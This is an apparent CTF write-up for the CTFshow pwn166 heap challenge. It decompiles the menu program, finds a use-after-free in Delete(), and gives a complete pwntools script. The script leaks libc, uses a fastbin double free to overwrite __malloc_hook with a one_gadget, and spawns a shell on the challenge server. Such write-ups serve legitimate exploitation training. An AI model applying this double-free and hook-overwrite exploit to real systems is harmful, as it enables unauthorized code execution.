CTFshow-pwn166

[!NOTE]

熟悉的配方,熟悉的味道

  • 远程环境:Ubuntu 16.04

libc 版本为 Ubuntu GLIBC 2.23-0ubuntu11

保护全开

niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn166
[*] '/home/niuyingying/ctf/pwn/pwn166'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

在 ida 中分析程序主要流程

void __noreturn sub_F85()
{
  int v0; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("Create flag and get the real flag !");
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%d", &v0);
    getchar();
    switch ( v0 )
    {
      case 1:
        Add();
        break;
      case 2:
        Show();
        break;
      case 3:
        Edit();
        break;
      case 4:
        Delete();
        break;
      case 5:
        puts("Goodbye~");
        exit(0);
      default:
        puts("Wrong choice!");
        break;
    }
  }
}
int menu()
{
  puts("=========Menu===========");
  puts("1.Add a Flag");
  puts("2.Show Flag");
  puts("3.Edit Flag");
  puts("4.Delete Flag");
  puts("5.Exit");
  return printf("Input your choice:");
}
unsigned __int64 Add()
{
  int v0; // ebx
  void **v1; // rbx
  int v3; // [rsp+4h] [rbp-1Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  if ( dword_20204C > 100 )
    puts("Enough!");
  v0 = dword_20204C;
  *((_QWORD *)&unk_202060 + v0) = malloc(0x18u);
  puts("Please input the size of the flag");
  __isoc99_scanf("%d", &v3);
  *(_DWORD *)(*((_QWORD *)&unk_202060 + dword_20204C) + 8LL) = v3;
  v1 = (void **)*((_QWORD *)&unk_202060 + dword_20204C);
  *v1 = malloc(v3);
  puts("please input the flag name:");
  read(0, **((void ***)&unk_202060 + dword_20204C), v3);
  puts("please input the flag idx:");
  read(0, (void *)(*((_QWORD *)&unk_202060 + dword_20204C) + 12LL), 0xCu);
  *(_BYTE *)(*((_QWORD *)&unk_202060 + dword_20204C) + 23LL) = 0;
  puts("Done!");
  ++dword_20204C;
  return __readfsqword(0x28u) ^ v4;
}
unsigned __int64 Show()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Please input the index:");
  __isoc99_scanf("%d", &v1);
  if ( *((_QWORD *)&unk_202060 + v1) )
  {
    puts("name:");
    puts(**((const char ***)&unk_202060 + v1));
    puts("lenth:");
    puts((const char *)(*((_QWORD *)&unk_202060 + v1) + 12LL));
  }
  puts("Done!");
  return __readfsqword(0x28u) ^ v2;
}
int Edit()
{
  return puts("Sorry, you don't have permission to change the flag.");
}
unsigned __int64 Delete()
{
  unsigned int v0; // eax
  signed int v2; // [rsp+0h] [rbp-10h] BYREF
  int v3; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("Please input the index:");
  __isoc99_scanf("%d", &v2);
  if ( (unsigned int)v2 >= 0x64 )
    exit(0);
  if ( *((_QWORD *)&unk_202060 + v2) )
    free(**((void ***)&unk_202060 + v2));
  v0 = time(0);
  srand(v0);
  v3 = rand() % 10;
  if ( v3 > 1 )
    puts("Failed.");
  else
    puts("Succeed!");
  puts("Done!");
  return __readfsqword(0x28u) ^ v4;
}

发现 Edit() 函数不可用, Delete() 函数存在 UAF 漏洞, flag 结构体大致为:

struct flag {
    char *name;      // +0x00
    int size;        // +0x08
    char idx[12];    // +0x0c
};

那么思路就很清晰了,攻击脚本如下:

from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

elf = ELF('./pwn166')
libc = ELF('./libc-2.23.so')

# io = process('./pwn166')
io = remote("pwn.challenge.ctf.show",28198)

# io = gdb.debug('./pwn166', gdbscript='set pagination off\nbreakrva 0xD72\nbreakrva 0xE64\nbreakrva 0xF83\nc')

def Add(size,text,i):
    io.recvuntil(b"Input your choice:")
    io.sendline(b"1")
    io.recvuntil(b"Please input the size of the flag\n")
    io.sendline(str(size).encode())
    io.recvuntil(b"please input the flag name:\n")
    io.send(text.ljust(size,b"\x00"))
    io.recvuntil(b"please input the flag idx:\n")
    io.sendline(str(i).encode())

def Show(i):
    io.recvuntil(b"Input your choice:")
    io.sendline(b"2")
    io.recvuntil(b"Please input the index:\n")
    io.sendline(str(i).encode())
    io.recvuntil(b"name:\n")

def Delete(i):
    io.recvuntil(b"Input your choice:")
    io.sendline(b"4")
    io.recvuntil(b"Please input the index:\n")
    io.sendline(str(i).encode())

Add(0x100,b"aaaa",0)
Add(0x10,b"aaaa",1)

Delete(0)
Show(0)

leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))

libc_base = leak - 0x58 - 0x10 - libc.sym['__malloc_hook']
print(hex(libc_base))

one_gadget = libc_base + 0xf02a4
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']

Add(0xe0,b"aaaa",2) # 整理堆,吃掉 unsorted chunk
Add(0x60,b"bbbb",3)
Add(0x60,b"bbbb",4)

Delete(3)
Delete(4)
Delete(3)

Add(0x60,p64(malloc_hook - 0x23),5)
Add(0x60,b"eeee",6)
Add(0x60,b"ffff",7)
Add(0x60,b"\x00" * 0xb + p64(one_gadget) + p64(realloc + 8),8)

io.recvuntil(b"Input your choice:")
io.sendline(b"1")

io.interactive()
posted @ 2026-08-10 16:20  AurY1n  阅读(1)  评论(0)    收藏  举报